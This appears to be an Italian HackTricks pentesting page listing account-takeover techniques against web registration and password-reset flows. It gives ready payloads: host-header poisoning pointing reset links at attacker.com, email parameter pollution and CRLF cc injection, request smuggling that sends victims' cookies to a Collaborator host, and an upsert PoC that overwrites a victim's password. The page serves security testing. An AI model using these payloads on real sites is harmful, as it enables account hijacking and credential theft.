Vulnerabilità di Registrazione & Takeover
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Registration Takeover
Duplicate Registration
- Prova a creare un account usando uno username esistente
- Prova a variare l'email:
- maiuscole
- +1@
- aggiungi dei punti nell'email
- caratteri speciali nel nome dell'email (%00, %09, %20)
- Metti caratteri di spazio dopo l'email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Username Enumeration
Verifica se riesci a determinare quando uno username è già stato registrato nell'applicazione.
Password Policy
Durante la creazione di un utente verifica la password policy (controlla se è possibile usare password deboli).
In tal caso puoi provare a bruteforce le credenziali.
SQL Injection
Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
Oauth Takeovers
SAML Vulnerabilities
Change Email
Dopo la registrazione prova a cambiare l'email e verifica se questa modifica è correttamente validata o se è possibile cambiarla in email arbitrarie.
More Checks
- Verifica se puoi usare disposable emails
- Password lunghe (>200) causano DoS
- Verifica i rate limits sulla creazione degli account
- Usa username@burp_collab.net e analizza il callback
Password Reset Takeover
Password Reset Token Leak Via Referrer
- Richiedi il reset della password al tuo indirizzo email
- Clicca sul password reset link
- Non cambiare la password
- Clicca qualsiasi sito di terze parti (es: Facebook, twitter)
- Intercetta la richiesta nel proxy di Burp Suite
- Verifica se l'header referer sta leaking il token di reset della password.
Password Reset Poisoning
- Intercetta la richiesta di reset della password in Burp Suite
- Aggiungi o modifica i seguenti header in Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Inoltra la richiesta con l'header modificato
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Cerca un URL di reset della password basato sull'host header come :
https://attacker.com/reset-password.php?token=TOKEN
Password Reset Via Email Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR sui parametri API
- L'attaccante deve effettuare il login con il proprio account e andare alla funzionalità Change password.
- Avviare Burp Suite e intercettare la richiesta
- Inviarla alla scheda repeater e modificare i parametri : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token di reset password debole
Il token di reset della password dovrebbe essere generato casualmente e unico ogni volta.
Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere usate dall'algoritmo.
- Timestamp
- UserID
- Email dell'utente
- Nome e cognome
- Data di nascita
- Crittografia
- Solo numeri
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Riutilizzo del token
- Data di scadenza del token
Leaking Password Reset Token
- Genera una richiesta di reset della password usando l'API/UI per un'email specifica, es.: test@mail.com
- Ispeziona la risposta del server e verifica la presenza di
resetToken
- Poi usa il token in un URL come
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- Registrati nel sistema con uno username identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo lo username. e.g:
"admin "
- Richiedi un reset della password con il tuo username malevolo.
- Usa il token inviato alla tua email e reimposta la password della vittima.
- Accedi all'account della vittima con la nuova password.
La piattaforma CTFd era vulnerabile a questo attacco.
Vedi: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- Trova una XSS dentro l'applicazione o in un sottodominio se i cookie sono scoped al dominio principale :
*.domain.com
- Leak il current sessions cookie
- Autenticati come l'utente usando il cookie
Account Takeover Via HTTP Request Smuggling
1. Usa smuggler per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Modella una request che sovrascriva il POST / HTTP/1.1
con i seguenti dati:
GET http://something.burpcollaborator.net HTTP/1.1 X:
con l'obiettivo di aprire un redirect delle vittime su burpcollab e rubare i loro cookie
3. La request finale potrebbe apparire come segue
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone segnala lo sfruttamento di questo bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Compromissione dell'account via CSRF
- Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change”
- Invia il payload
Compromissione dell'account via JWT
JSON Web Token might be used to authenticate an user.
- Modifica il JWT con un altro User ID / Email
- Controlla la presenza di una firma JWT debole
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert su Email esistente)
Alcuni signup handler eseguono un upsert quando l'email fornita esiste già. Se l'endpoint accetta un body minimale con email e password e non applica la verifica di proprietà, inviare l'email della vittima sovrascriverà la sua password pre-auth.
- Scoperta: raccogli i nomi degli endpoint dal bundled JS (o dal traffico dell'app mobile), poi esegui fuzzing sui percorsi base come /parents/application/v4/admin/FUZZ usando ffuf/dirsearch.
- Indicazioni sul metodo: una GET che ritorna messaggi come "Only POST request is allowed." spesso indica il verbo corretto e che è atteso un body JSON.
- Body minimo osservato nel mondo reale:
{"email":"victim@example.com","password":"New@12345"}
Esempio di PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Impatto: Full Account Takeover (ATO) senza alcun reset token, OTP, o email verification.
Riferimenti
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- https://salmonsec.com/cheatsheet/account_takeover
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.